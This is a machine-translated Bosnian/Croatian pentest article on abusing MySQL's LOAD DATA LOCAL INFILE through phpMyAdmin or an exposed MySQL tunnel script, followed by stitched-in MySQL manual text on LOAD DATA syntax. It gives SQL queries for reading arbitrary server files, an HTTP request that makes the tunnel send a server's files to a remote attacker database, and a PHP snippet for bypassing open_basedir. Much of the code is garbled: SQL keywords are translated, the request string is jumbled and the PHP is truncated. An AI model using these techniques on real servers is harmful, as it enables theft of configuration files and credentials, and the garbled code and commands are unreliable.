Opisujem prilično uobičajenu situaciju. Tokom pentesta, pristup je phpMyAdmin-u na udaljenom hostu, ali se preko njega nije moglo pristupiti datotekama. Za sve je kriva ozloglašena FILE_PRIV=no flag u MySQL daemon postavkama. Mnogi u ovoj situaciji odustaju i vjeruju da se fajlovi na hostu više ne mogu čitati na ovaj način. Ali nije uvijek tako.
UPOZORENJE
Sve informacije su date samo u informativne svrhe. Ni uredništvo ni autor nisu odgovorni za bilo kakvu moguću štetu uzrokovanu materijalima ovog članka.
Preludij
Kada je u pitanju interakcija MySQL DBMS-a sa datotečnim sistemom, oni obično pamte:
- funkcija LOAD_FILE, koja vam omogućava čitanje datoteka na serveru;
- konstrukcija SELECT ... INTO OUTFILE, koja se može koristiti za kreiranje novih datoteka.
Shodno tome, ako dobijete pristup phpMyAdmin-u ili bilo kom drugom klijentu na udaljenoj mašini, onda sa velikom vjerovatnoćom možete doći do MySQL-a preko MySQL-a. sistem podataka. Ali samo ako je zastavica FILE_PRIV=yes postavljena u postavkama demona, što nije uvijek slučaj. U ovom slučaju, moramo se sjetiti drugog operatera, mnogo manje poznatog, ali u isto vrijeme ima prilično moćnu funkcionalnost. Govorim o naredbi LOAD DATA INFILE, o čijim karakteristikama ćemo govoriti u ovom članku.
Interakcija između PHP-a i MySQL-a
PHP je jezik koji se najčešće koristi za pravljenje web aplikacija, pa je vredno detaljnije pogledati kako on komunicira sa bazom podataka.
U PHP4, MySQL klijentske biblioteke su podrazumevano uključene i uključene u PHP distribuciju, tako da ste tokom instalacije mogli isključiti korišćenje MySQL samo navođenjem opcije
bez mysql.
PHP5 dolazi bez klijentske biblioteke. Na *nix sistemima, PHP5 se obično gradi sa bibliotekom libmysqlclient koja je već instalirana na serveru, jednostavno postavljanjem opcije
Sa-mysql=/usr
tokom montaže. Istovremeno, prije verzije 5.3, MySQL klijentska biblioteka niskog nivoa (libmysql) se koristi za interakciju sa MySQL serverom, interfejsom koji nije optimizovan za komunikaciju sa PHP aplikacijama.
MySQL izvorni drajver (mysqlnd) je razvijen za PHP 5.3 i novije verzije, a nedavno izdanje PHP 5.4 koristi ovaj drajver podrazumevano. Iako je ugrađeni MySQL drajver napisan kao PHP ekstenzija, važno je shvatiti da on ne pruža novi API PHP programeru. MySQL API baze podataka za programera obezbjeđuju MySQL, mysqli i PDO_MYSQL ekstenzije. Ove ekstenzije mogu koristiti ugrađeni MySQL drajver za komunikaciju sa MySQL demonom.
Korišćenje ugrađenog MySQL drajvera ima neke prednosti u odnosu na MySQL klijent biblioteku: na primer, ne morate da instalirate MySQL da biste napravili PHP ili da koristite skripte koje rade sa bazom podataka. Više detaljne informacije o MySQL izvornom drajveru i njegovim razlikama u odnosu na libmysql možete pronaći u dokumentaciji.
Ekstenzije MySQL, mysqli i PDO_MYSQL mogu se pojedinačno konfigurirati za korištenje ili libmysql ili mysqlnd. Na primjer, da biste konfigurirali MySQL ekstenziju da koristi MySQL Client Library i mysqli ekstenziju za rad s MySQL izvornim drajverom, trebali biste navesti sljedeće opcije:
`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`
Sintaksa LOAD DATA
Naredba LOAD DATA, kako dokumentacija kaže, čita linije iz datoteke i učitava ih u tabelu vrlo velikom brzinom. Može se koristiti sa ključna riječ LOCAL (dostupno u MySQL 3.22.6 i novijim verzijama) koji specificira odakle će se podaci učitavati. Ako je riječ LOCAL odsutna, tada server učitava navedenu datoteku u tablicu sa svojim lokalna mašina, ne sa klijentove mašine. Odnosno, datoteku neće čitati MySQL klijent, već MySQL server. Ali ova operacija opet zahtijeva privilegiju FILE (oznaka FILE_PRIV=yes). Izvršenje naredbe u ovom slučaju može se usporediti s korištenjem funkcije LOAD_FILE - s jedinom razlikom što se podaci učitavaju u tablicu, a ne prikazuju. Stoga, korištenje LOAD DATA INFILE za čitanje datoteka ima smisla samo kada funkcija LOAD_FILE nije dostupna, odnosno na vrlo starim verzijama MySQL servera.
Ali ako se naredba koristi u ovom obliku: LOAD DATA LOCAL INFILE , odnosno koristeći riječ LOCAL, tada se datoteka već čita od strane programa klijenta (na klijentovom stroju) i šalje na server gdje se nalazi baza podataka. Istovremeno, privilegija FILE, naravno, nije potrebna za pristup datotekama (pošto se sve dešava na klijentovoj mašini).
MySQL/mysqli/PDO_MySQL ekstenzije i LOAD DATA LOCAL izraz
U MySQL ekstenziji, mogućnost korištenja LOCAL-a kontrolira PHP_INI_SYSTEM direktiva mysql.allow_local_infile. Po defaultu, ova direktiva ima vrijednost 1 i stoga je operator koji nam je potreban obično dostupan. Također, funkcija mysql_connect omogućava vam da omogućite korištenje LOAD DATA LOCAL ako je peti argument konstanta 128.
Kada se ekstenzija PDO_MySQL koristi za povezivanje s bazom podataka, također možemo omogućiti LOKALNU podršku koristeći PDO::MYSQL_ATTR_LOCAL_INFILE (cijelobrojnu) konstantu
$pdo = novi PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));
Ali najveće mogućnosti za rad sa naredbom LOAD DATA pruža mysqli ekstenzija. Ova ekstenzija takođe obezbeđuje PHP_INI_SYSTEM direktivu mysqli.allow_local_infile, koja reguliše upotrebu LOCAL.
Ako je veza napravljena preko mysqli_real_connect, onda uz pomoć mysqli_options možemo i omogućiti i onemogućiti LOKALNU podršku. Štaviše, funkcija mysqli_set_local_infile_handler je dostupna u ovoj ekstenziji, koja vam omogućava da registrujete funkciju povratnog poziva za rukovanje sadržajem fajlova pročitanih naredbom LOAD DATA LOCAL INFILE.
Čitanje fajlova
Pažljivi čitalac je verovatno već pogodio da ako imamo nalog u phpMyAdmin-u, onda ćemo moći da čitamo proizvoljne fajlove bez privilegije FILE, pa čak i da zaobiđemo ograničenja open_basedir. Na kraju krajeva, vrlo često su i klijent (u ovom slučaju phpMyAdmin) i MySQL demon na istoj mašini. Uprkos ograničenjima bezbednosne politike MySQL serveri, možemo iskoristiti činjenicu da se ova politika ne odnosi na klijenta, i dalje čitati datoteke iz sistema, gurajući ih u bazu podataka.
Algoritam je jednostavan. Dovoljno je izvršiti sljedeće SQL upite:
- Kreirajte tabelu u koju ćemo upisati sadržaj datoteka: CREATE TABLE temp(text content);
- Pošaljite sadržaj datoteke u kreiranu tabelu: UČITAJ PODATKE LOKALNI INFILE "/etc/hosts" U TABELE temp POLJA ZAVRŠENA SA "eof" ESCAPED BY "" LINES TERMINATED BY "eof";
Voila. Sadržaj datoteke /etc/hosts je sada u tabeli temp. Trebate čitati binarne datoteke? Nema problema. Ako u prvom koraku kreiramo ovakvu tabelu:
CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;
tada će biti moguće učitati binarne datoteke u njega. Istina, dodatni bitovi će biti dodati na kraj datoteka, ali se mogu ukloniti u bilo kojem hex editoru. Dakle, možete preuzeti skripte zaštićene IonCube/Zend/TrueCrypt/NuSphere sa servera i dekodirati ih.
Još jedan primjer kako možete koristiti LOAD DATA LOCAL INFILE je da saznate putanju do Apache konfiguracije. To se radi na sljedeći način:
- Prvo, saznajemo put do binarnog fajla, za to čitamo /proc/self/cmdline kao što je gore opisano.
- A onda direktno čitamo binarni fajl, gde tražimo HTTPD_ROOT/SERVER_CONFIG_FILE.
Jasno je da u ovoj situaciji phpMyAdmin skripte igraju ulogu klijenta za povezivanje sa bazom podataka. I umjesto phpMyAdmin, možete koristiti bilo koji drugi web interfejs za rad sa MySQL.
Na primjer, možete koristiti skripte za sigurnosno kopiranje i vraćanje baze podataka. Još 2007. godine, francuski haker po imenu acidroot objavio je eksploataciju zasnovanu na ovoj napomeni i omogućavajući čitanje fajlova sa phpBB admin panela.<= 2.0.22.
Tunel je zgodan. Tunel nije bezbedan
Prilikom instaliranja složenih web aplikacija često je potreban direktan pristup bazi podataka, na primjer, za početnu konfiguraciju i prilagođavanje skripti. Stoga je u nekim slučajevima preporučljivo instalirati jednostavnu skriptu na serveru - takozvani MySQL tunel, koji vam omogućava da postavljate upite bazi podataka koristeći pogodan klijent umjesto teškog phpMyAdmin-a.
Postoji dosta tunela za rad sa bazom podataka, ali svi nisu baš uobičajeni. Možda jedan od najpoznatijih je Macromedia Dream Weaver Server Scripts. Možete vidjeti izvorni kod za ovu skriptu.
Glavna razlika između MySQL Tunnel i phpMyAdmin je potreba da unesete ne samo login i lozinku iz baze podataka, već i host na koji želite da se povežete. U isto vrijeme, tuneli često ostaju aktivni, pa, za svaki slučaj, nikad ne znate šta još treba podesiti. Čini se da ih možete koristiti samo ako imate nalog u bazi podataka - zašto se onda bojati? Ukratko, čini se da tunel ne predstavlja posebnu sigurnosnu prijetnju web serveru. Ali u stvari, nije sve tako dobro kao što se čini na prvi pogled.
Razmotrite sljedeću situaciju. Neka server A ima site.com lokaciju sa uspostavljenim tunelom http://site.com/_mmServerScripts/MMHTTPDB.php. Pretpostavimo da je na serveru A moguće koristiti LOAD DATA LOCAL (kao što je gore objašnjeno, to je, na primjer, moguće sa zadanim postavkama). U ovom slučaju možemo uzeti udaljeni MySQL server, čije su baze podataka dozvoljene s bilo kojeg mjesta i koji vam također omogućava korištenje LOCAL, i povezati se na ovaj server pomoću tunela. Podaci za povezivanje na udaljeni MySQL server:
DB Host: xx.xx.xx.xxx DB Ime: name_remote_db DB korisnik: naš_user DB Pass: naš_pass
U ovoj situaciji server A će igrati ulogu klijenta, te stoga možemo slati datoteke sa njegovog hosta u udaljenu bazu podataka, odnosno, drugim riječima, čitati datoteke. Sa sledećim jednostavnim zahtevom:
Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=naš_korisnik&Password=naš_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE/php&Database=name_remote_db&UserName=our_user&Password=naš_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE/php/path/to/op. LINIJE ZAKLJUČENE OD "__eof__"
U stvari, ova ranjivost je opasnija od uobičajenog čitanja datoteka: omogućava čitanje konfiguracijskih datoteka skripti instaliranih na serveru A. Kroz isti tunel možete dobiti direktan pristup bazi podataka koja upravlja ovim skriptama. Gore opisana tehnika za korištenje mišićnih tunela može se malo generalizirati i primijeniti kada se iskorištavaju ranjivosti bez serijala.
klijent-server
Da bismo bolje razumjeli mogućnosti LOAD DATA-a, potrebno je zapamtiti da MySQL DBMS koristi tradicionalnu klijent-server arhitekturu. Radeći sa MySQL, mi zapravo radimo sa dva programa:
- program servera baze podataka koji se nalazi na računaru na kojem je baza podataka pohranjena. Mysqld daemon sluša zahtjeve klijenata preko mreže i pristupa sadržaju baze podataka, pružajući informacije koje klijenti traže. Ako je mysqld pokrenut sa --local-infile=0, LOCAL neće raditi;
- klijentski program se povezuje na server i šalje zahtjeve serveru. MySQL DBMS distribucija uključuje nekoliko klijentskih programa: MySQL konzolni klijent (najčešće korišteni), kao i mysqldump, mysqladmin, mysqlshow, mysqlimport, itd. A ako je potrebno, možete čak kreirati svoj vlastiti klijentski program baziran na standardnoj libmysql klijentskoj biblioteci, koja dolazi s MySQL DBMS.
Ako korištenje standardnog MySQL klijenta ne uspije koristiti naredbu LOAD DATA LOCAL, tada biste trebali koristiti --local-infile prekidač:
Mysql --local-infile sampdb mysql> UČITAJ PODATKE LOKALNI INFILE "member.txt" U TABLE član;
Ili navedite opciju za klijenta u /my.cnf datoteci:
lokalni-infile=1
Važno je napomenuti da su po defaultu svi MySQL klijenti i biblioteke kompajlirani sa opcijom --enable-local-infile kako bi se osigurala kompatibilnost sa MySQL 3.23.48 i starijim, tako da je LOAD DATA LOCAL obično dostupan za standardne klijente. Međutim, naredbe MySQL serveru se uglavnom ne šalju s konzole, već iz skripti, tako da jezici za web razvoj imaju i klijente za rad sa bazom podataka, koji se po funkcionalnosti mogu razlikovati od standardnog MySQL klijenta.
Naravno, ova karakteristika izjave LOAD DATA može predstavljati sigurnosni rizik za sistem, pa će počevši od MySQL 3.23.49 i MySQL 4.0.2 (4.0.13 na Win) opcija LOCAL raditi samo ako i klijent i server dozvoli to.
Zaobiđite ograničenja open_basedir
Korišćenje LOAD DATA prilično često vam omogućava da zaobiđete ograničenja open_basedir. Ovo može biti korisno ako, na primjer, imamo pristup dijeljenom hosting direktoriju jednog korisnika, ali želimo čitati skripte iz kućnog direktorija drugog korisnika. Zatim instaliranjem ove skripte
1)); $e=$pdo->exec("UČITAJ LOKALNI INFILE PODATAKA "./path/to/file" U TABELE test POLJA ZAVRŠENA SA "__eof__" ESCAPED SA "" LINIJAMA ZAVRŠENA SA "__eof__""); $pdo = null; ?>
Zaključak
Zanimljivo je da je opisana mogućnost operatora LOAD DATA poznata već najmanje deset godina. Spominjanje se može, na primjer, naći u tiketu [#15408] (Safe Mode / MySQL Vuln 2002-02-06), a zatim su se slična pitanja više puta pojavila na bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Na šta su programeri doslovno odgovorili na sljedeći način:
[email protected] Nije greška, to je karakteristika :)
Ili mu je dodijeljena karta "Status: Neće popraviti". Ili su bili ograničeni na zakrpe koje nisu rješavale gotovo ništa. Ponovo su se pojavile karte na ovu temu. Stoga, navedena metoda zaobilaženja open_basedir i dalje radi na prilično velikom broju servera. Međutim, sa pojavom novog drajvera mysqlnd, čini se da je doneta odluka da se učine značajne promene: sa podrazumevanim postavkama, ova izjava se više uopšte neće izvršavati [#54158] [#55737]. Nadajmo se da će programeri u bliskoj budućnosti dovesti stvari u red po ovom pitanju.
UČITAJTE INFILE PODATAKA "ime_datoteke.txt" U TABELU tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]Komanda LOAD DATA INFILE čita redove iz tekstualne datoteke i ubacuje ih u tabelu veoma velikom brzinom. Ako je navedena ključna riječ LOCAL, tada se datoteka čita sa klijentskog hosta. Ako LOCAL nije naveden, tada datoteka mora biti na serveru. (Opcija LOCAL je dostupna u MySQL verziji 3.22.6 i novijim.)
Ako se tekstualne datoteke za čitanje nalaze na serveru, onda iz sigurnosnih razloga te datoteke moraju ili biti locirane u direktoriju baze podataka ili ih mogu čitati svi korisnici. Osim toga, da biste koristili naredbu LOAD DATA INFILE na serverskim datotekama, morate imati FILE privilegije na hostu servera. Pogledajte odjeljak 4.2.7 Privilegije koje dodjeljuje MySQL.
U MySQL 3.23.49 i MySQL 4.0.2, LOCAL komanda neće raditi ako je mysqld demon pokrenut sa --local-infile=0 ili ako klijent nema omogućenu LOKALNU podršku. Pogledajte odjeljak 4.2.4 Sigurnosna razmatranja u vezi sa naredbom LOAD DATA LOCAL.
Ako je navedena ključna riječ LOW_PRIORITY, tada će izvršenje ove naredbe LOAD DATA biti odgođeno dok drugi klijenti ne završe čitanje ove tablice.
Ako je ključna riječ CONCURRENT specificirana kada radite s MyISAM tablicama, tada druge niti mogu dohvatiti podatke iz tablice tijekom izvršavanja naredbe LOAD DATA. Upotreba ove funkcije će, naravno, imati blagi uticaj na performanse na LOAD DATA, čak i ako nijedna druga nit ne koristi tabelu u isto vreme.
Kada se koristi opcija LOCAL, izvršenje može biti nešto sporije nego što se dozvoljava serveru da direktno pristupi datotekama, jer sadržaj datoteke mora biti premješten sa klijentskog hosta na server. S druge strane, u ovom slučaju nema potrebe za FILE privilegijama za učitavanje lokalnih datoteka.
Ako koristite verzije MySQL-a starije od 3.23.24, ne možete čitati iz FIFO koristeći naredbu LOAD DATA INFILE. Ako je potrebno čitati iz FIFO (na primjer, standardni izlaz gunzip), treba koristiti LOAD DATA LOCAL INFILE.
Također možete učitati datoteke podataka koristeći uslužni program mysqlimport. Ovaj uslužni program vrši učitavanje datoteke slanjem naredbi LOAD DATA INFILE serveru. Opcija --local uzrokuje da mysqlimport čita datoteke podataka sa klijentskog hosta. Možete navesti --compress opciju da biste dobili bolje performanse na sporim mrežama ako i klijent i server podržavaju protokol kompresije podataka.
U slučajevima kada se datoteke nalaze na serveru, potonji se ponaša prema sljedećim pravilima:
- Ako je data apsolutna (puna) putanja do datoteke, server koristi ovu putanju bez izmjena.
- Ako je navedena relativna staza do datoteke, specificirajući jedan ili više matičnih direktorija, tada će pretraga datoteke biti relativna u odnosu na specificirane direktorije u direktoriju podataka servera (datadir).
- Ako je putanja do datoteke data bez navođenja matičnih direktorija, tada poslužitelj traži datoteku u direktoriju baze podataka koja se koristi.
Iz toga slijedi da se datoteka specificirana kao `./myfile.txt" čita iz direktorija podataka servera, dok se datoteka specificirana kao `myfile.txt" čita iz direktorija baze podataka koji se koristi. Na primjer, sljedeća naredba LOAD DATA čita datoteku data.txt u direktoriju baze podataka za db1 jer je db1 trenutna baza podataka, iako joj naredba izričito nalaže da učita datoteku u tablicu db2 baze podataka:
MySQL> KORISTI db1; mysql> UČITAJ INFILE PODATAKA "data.txt" U TABELU db2.my_table;
Ključne riječi REPLACE i IGNORE kontroliraju obradu ulaznih zapisa koji dupliciraju postojeće zapise s istim jedinstvenim vrijednostima ključa. Ako je naveden REPLACE, novi redovi će zamijeniti postojeće redove istim jedinstvenim ključem. Ako navedete IGNORE , tada će redovi unosa koji imaju isti jedinstveni ključ kao i postojeći biti zanemareni. Ako nijedan parametar nije naveden, tada se javlja greška kada se pronađe duplicirana vrijednost ključa, a ostatak tekstualne datoteke se zanemaruje.
Ako se podaci učitavaju iz lokalne datoteke pomoću ključne riječi LOCAL, tada server neće moći prekinuti prijenos podataka usred ove operacije, tako da je zadano ponašanje naredbe isto kao kada je specificirano IGNORE.
Kada koristite LOAD DATA INFILE na praznim MyISAM tablicama, svi nejedinstveni indeksi se kreiraju u zasebnom paketu (kao u REPAIR). Ovo obično uvelike ubrzava operaciju LOAD DATA INFILE u slučaju velikog broja indeksa.
Naredba LOAD DATA INFILE je komplementarna SELECT ... INTO OUTFILE . Pogledajte odjeljak 6.4.1 Sintaksa naredbe SELECT. Za pisanje podataka iz baze podataka u datoteku koristite SELECT ... INTO OUTFILE . Za čitanje podataka natrag u bazu podataka, koristi se LOAD DATA INFILE. Sintaksa za FIELDS i LINES je ista u obje naredbe. Oba dijela su opciona, ali ako su oba navedena, tada FIELDS moraju prethoditi LINES .
Ako je FIELDS specificirano, onda je svaki od njegovih podizraza (ZAVRŠENO , ZAVRŠENO , i ESCAPED BY ) također opciono, ali barem jedan od njih mora biti specificiran.
Ako tvrdnja FIELDS nije definirana, tada će po defaultu njeni parametri imati sljedeće vrijednosti:
POLJA ZAVRŠENA SA "\t" ZATVORENA SA "" ESCAPED SA "\\"
Ako LINES klauzula nije definirana, onda prema zadanim postavkama ima sljedeću strukturu:
LINIJE ZAVRŠENE SA "\n"
Drugim riječima, sa zadanim postavkama, naredba LOAD DATA INFILE, prilikom čitanja ulaznih podataka, radit će na sljedeći način:
- Potražite završetke reda kao `\n' znakove
- Podijelite linije u polja pomoću znakova tabulatora.
- Ne očekujte da će polja biti zatvorena znakovima navodnika.
- Protumačite pojavljivanje tabulatora, novih redova ili `\" kojima prethodi `\' kao literale koji su dio vrijednosti polja.
Suprotno tome, ako su zadane postavke za pisanje izlaza na snazi, naredba SELECT ... INTO OUTFILE će raditi na sljedeći način:
- Umetnite znakove tabulatora između polja.
- Nemojte zatvarati polja u znakove navoda. Koristite znakove `\" za izbjegavanje instanci tabulatora, novog reda ili `\" koji se pojavljuju među vrijednostima polja.
- Umetnite znakove za novi red na kraju svakog unosa.
Imajte na umu da unos FIELDS ESCAPED BY `\" zahtijeva dvije obrnute kose crte da bi vrijednost bila pročitana kao jedna obrnuta kosa crta.
Opcija IGNORE number LINES se može koristiti za zanemarivanje zaglavlja naziva stupaca na početku datoteke:
Mysql> UČITAJ DATA INFILE "/tmp/ime_datoteke" U TABLE test IGNORE 1 RED;
Kada koristite SELECT ... INTO OUTFILE sa LOAD DATA INFILE za čitanje podataka iz baze podataka u datoteku, a zatim natrag iz datoteke u bazu podataka, opcije obrade polja i reda za obje naredbe moraju se podudarati. U suprotnom, LOAD DATA INFILE neće moći ispravno protumačiti sadržaj ove datoteke. Pretpostavimo da se naredba SELECT ... INTO OUTFILE koristi za pisanje u datoteku s poljima odvojenim zarezima:
Mysql> SELECT * INTO OUTFILE "data.txt" POLJA ZAVRŠENA SA "," FROM ...;
Mysql> UČITAJ INFILE PODATAKA "data.txt" U TABELU table2 POLJA ZAVRŠENA SA ",";
Mysql> UČITAJ INFILE PODATAKA "data.txt" U TABELU table2 POLJA ZAVRŠENA SA "\t";
Sličan rezultat bi se dobio kada bi se svaki ulazni red tumačio kao zasebno polje.
Komanda LOAD DATA INFILE se također može koristiti za čitanje datoteka iz vanjskih izvora. Na primjer, polja u datoteci formata dBASE baze podataka bit će odvojena zarezima i stavljena u dvostruke navodnike. Ako se redovi u ovoj datoteci završavaju s novim redovima, tada se sljedeća naredba može koristiti za pisanje datoteke, koja ilustrira opcije podešavanja koje obrađuju polja i redove:
Mysql> UČITAJ INFILE PODATAKA "data.txt" U TABELU tbl_name POLJA ZAVRŠENA SA "," ZATVORENA SA """ REDOVIMA ZAVRŠENA SA "\n";
Bilo koja od opcija koja rukuje poljima i redovima može biti prazan niz (""). Ako string nije prazan, tada vrijednosti opcija FIELDS ENCLOSED BY i FIELDS ESCAPED BY moraju sadržavati jedan znak. Vrijednosti opcije POLJA TERMINATED BY i LINES TERMINATED BY mogu sadržavati više od jednog znaka. Na primjer, da biste napisali redove koji se završavaju u parovima ``povratak prijenosa - pomicanje reda'' (kao u MS DOS ili Windows tekstualnim datotekama), specificirali biste sljedeći izraz: REDOVI ZAVRŠENI SA "\r\n" .
CREATE TABLE viceva (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, tekst šale NOT NULL); UČITAJTE INFILE PODATAKA "/tmp/jokes.txt" U TABELU viceva POLJA ZAVRŠENA SA ""; REDOVI ZAVRŠENI SA "\n%%\n" (šala);
Opcija FIELDS ENCLOSED BY kontroliše polja koja su zatvorena datim znakovima. Ako je parametar OPTIONALLY izostavljen, tada će u izlazu (SELECT ... INTO OUTFILE) sva polja biti zatvorena znakovima navedenim u ENCLOSED BY . Primjer takvog izlaza (koji koristi zarez kao separator polja) prikazan je u nastavku:
"1","string","100.20" "2","niz koji sadrži , zarez","102.20" "3","niz koji sadrži \" navodnik","102.20" "4"," niz koji sadrži \", navodnik i zarez","102.20"
Ako je specificiran parametar OPTIONALLY, tada se biraju samo polja tipa CHAR i VARCHAR sa znakom navedenim u ENCLOSED BY:
1,"string",100.20 2,"niz koji sadrži , zarez",102.20 3,"niz koji sadrži \" navodnik",102.20 4,"niz koji sadrži \", navodnik i zarez",102.20
Imajte na umu da se izgled ENCLOSED BY znakova unutar vrijednosti polja izbjegava primjenom prefiksa od ESCAPED BY prije njih. Također imajte na umu da ako je ESCAPED BY null, moguće je generirati izlaz koji izraz LOAD DATA INFILE ne može ispravno pročitati. Na primjer, ako je izlazni znak prazan niz, onda će gornji izlaz biti kao što je prikazano ispod. Imajte na umu da drugo polje u četvrtom redu sadrži zarez nakon kojeg slijedi navodnik, koji (pogrešno) razgraničava dato polje:
1,"niz",100.20 2,"niz koji sadrži , zarez",102.20 3,"niz koji sadrži "navodnik",102.20 4,"niz koji sadrži ", navodnik i zarez",102.20
Za unos, znak ENCLOSED BY, ako postoji, uklanja se sa oba kraja vrijednosti polja. (Ovo je tačno bez obzira da li je parametar OPTIONALLY naveden ili ne: parametar OPTIONALLY se zanemaruje kada se radi sa ulazom.) Ako se naiđe na znak ENCLOSED BY kojem prethodi znak ESCAPED BY, on se tumači kao dio trenutnog polja vrijednost. Osim toga, dvostruki ENCLOSED BY znakovi koji se pojavljuju unutar polja tumače se kao pojedinačni ENCLOSED BY znakovi ako samo polje počinje tim znakom. Na primjer, ako je ENCLOSED BY """ navedeno, onda se navodnicima postupa na sljedeći način:
""VELIKI"" šef" -> "VELIKI" šef "VELIKI" šef -> "VELIKI" šef ""VELIKI"" šef -> ""VELIKI"" šef
Opcija FIELDS ESCAPED BY kontrolira pisanje ili čitanje posebnih znakova. Ako znak FIELDS ESCAPED BY nije prazan, koristi se kao prefiks za sljedeće znakove u izlazu:
- POLJA ZABRANA simbolom
- POLJA ZATVORENA simbolom
- Prvi znak FIELDS TERMINATED BY i LINES TERMINATED BY
- ASCII znak 0 (zapravo, ASCII `0" je upisan nakon escape znaka, a ne bajt nulte vrijednosti)
Ako je znak FIELDS ESCAPED BY prazan, onda se nijedan karakter ne može zaobići. Zapravo, nema smisla specificirati prazan izlazni znak, posebno ako vrijednosti polja u podacima koji se obrađuju sadrže bilo koji od znakova na gornjoj listi.
Ako znak FIELDS ESCAPED BY nije prazan, tada se, u slučaju unosa, pojave takvog znaka uklanjaju, a znak koji slijedi nakon takvog pojavljivanja uzima se doslovno kao dio vrijednosti polja. Izuzeci se izbjegavaju u `0" ili `N" (npr. \0 ili \N ako je izlazni znak `\"). Ove sekvence se tumače kao ASCII 0 (bajt sa vrijednošću nula) i NULL. Pogledajte pravila za rukovanje nultom vrijednošću ispod. .
Pogledajte odjeljak 6.1.1 Literali: Predstavljanje nizova i brojeva za više informacija o sintaksi `\" escape znaka.
U nekim slučajevima, opcije obrade polja i reda međusobno djeluju:
- Ako je LINES TERMINATED BY prazan niz, a FIELDS TERMINATED BY nije prazan niz, tada se redovi također završavaju sa FIELDS TERMINATED BY.
- Ako su i FIELDS TERMINATED BY i FIELDS ENCLOSED BY prazna (""), tada se koristi fiksni format stringa (bez graničnika). Fiksni format stringa ne pruža nikakve separatore između polja. Umjesto toga, prilikom čitanja i pisanja vrijednosti stupaca, koristi se širina ``izlaza"" kolona. Na primjer, ako je stupac deklariran kao INT(7), vrijednosti za tu kolonu se pišu pomoću polja širine 7 znakova. Ulazne vrijednosti za ovu kolonu dobijaju se čitanjem 7 znakova. Fiksni format stringa također utiče na rukovanje NULL vrijednostima (pogledajte dolje). Imajte na umu da format fiksne veličine neće raditi kada se koristi višebajtni skup znakova.
NULL vrijednostima će se rukovati drugačije ovisno o korištenim opcijama FIELDS i LINES:
- Za zadane vrijednosti FIELDS i LINES, NULL se piše kao \N na izlazu, a \N se čita kao NULL na ulazu (pod pretpostavkom da je znak ESCAPED BY `\").
- Ako FIELDS ENCLOSED BY nije prazno, tada se polje čija je vrijednost riječ od NULL slova čita kao NULL vrijednost (za razliku od NULL riječi između FIELDS ENCLOSED BY znakova, koja se čita kao niz " NULL ").
- Ako je FIELDS ESCAPED BY prazan, NULL se upisuje kao NULL riječ.
- U fiksnom formatu stringa (što se događa ako su specifikacija FIELDS TERMINATED BY i FIELDS ENCLOSED BY prazna), NULL se zapisuje kao prazan niz. Imajte na umu da će, kao rezultat, vrijednost NULL i prazan string u ovoj tabeli biti nerazlučivi kada se upisuju u datoteku, budući da su oba zapisana kao prazni nizovi. Ako želite da ove vrijednosti budu različite kada se datoteka čita nazad, onda ne biste trebali koristiti fiksni format stringa.
Neki slučajevi nisu podržani naredbom LOAD DATA INFILE:
- Redovi fiksne veličine (FIELDS TERMINATED BY i FIELDS ENCLOSED BY su prazna) i BLOB ili TEXT stupci.
- Ako je naveden graničnik koji se podudara ili je prefiks drugog, tada LOAD DATA INFILE neće moći ispravno protumačiti unos. Na primjer, sljedeća izjava FIELDS će uzrokovati probleme: FIELDS TERMINATED BY """ ENCLOSED BY """
- Ako je opcija FIELDS ESCAPED BY prazna, onda će pojavljivanje znaka FIELDS ENCLOSED BY ili LINES TERMINATED BY u vrijednosti polja nakon čega slijedi znak FIELDS TERMINATED BY uzrokovati da naredba LOAD DATA INFILE prerano završi čitanje polja ili reda. To je zato što LOAD DATA INFILE ne može ispravno odrediti gdje se završava polje ili linija.
Sljedeći primjer učitava sve stupce tabele personalnih podataka:
Mysql> UČITAJTE INFILE PODATAKA "persondata.txt" U TABELU persondata;
Lista polja nije navedena, tako da naredba LOAD DATA INFILE očekuje da unosni redovi popune svaki stupac tablice. Ovo koristi zadane vrijednosti FIELDS i LINES.
Ako želite da učitate samo neke od kolona tabele, morate navesti listu kolona:
Mysql> UČITAJTE INFILE PODATAKA "persondata.txt" U TABELU persondata (col1,col2,...);
Lista polja se takođe mora navesti u slučajevima kada se redosled polja u ulaznoj datoteci razlikuje od redosleda kolona u datoj tabeli. Inače, MySQL neće moći mapirati polja za unos u kolone tabele.
Ako red ima premalo polja, onda se kolone za koje nema polja u ulaznoj datoteci postavljaju na svoje zadane vrijednosti. Dodjela zadanih vrijednosti opisana je u odjeljku 6.5.3 Sintaksa naredbe CREATE TABLE.
Vrijednost praznog polja se tumači drugačije od odsustva vrijednosti:
- Za tipove stringova, kolona je postavljena na prazan niz.
- Za numeričke tipove, stupac je postavljen na 0.
- Za tipove datuma i vremena, stupac je postavljen na odgovarajuću vrijednost ``nula"' za taj tip. Pogledajte odjeljak 6.2.2 Tipovi podataka datuma i vremena.
Imajte na umu da su to iste vrijednosti koje bi završile u stupcu eksplicitnim dodjeljivanjem praznog niza stupcima niza, numeričkih ili tipova datuma ili vremena u INSERT ili UPDATE naredbi.
TIMESTAMP stupci su samo postavljeni na trenutni datum ili vrijeme ako je stupac postavljen na NULL ili (samo za prvi stupac TIMESTAMP) ako je stupac TIMESTAMP izvan liste polja, ako je takva lista navedena.
Ako ulazni niz ima previše polja, dodatna polja se zanemaruju i broj upozorenja će se povećati.
Naredba LOAD DATA INFILE tumači sve ulazne podatke kao nizove, tako da ne možete specificirati numeričke vrijednosti za ENUM ili SET stupce na isti način kao za naredbe INSERT. Sve ENUM i SET vrijednosti moraju biti navedene kao stringovi!
Kada koristite C API, možete dobiti informacije o upitu pozivanjem mysql_info() API funkcije na kraju upita LOAD DATA INFILE. U nastavku je prikazan format informativne linije za ovaj slučaj:
Zapisi: 1 Izbrisani: 0 Preskočeni: 0 Upozorenja: 0
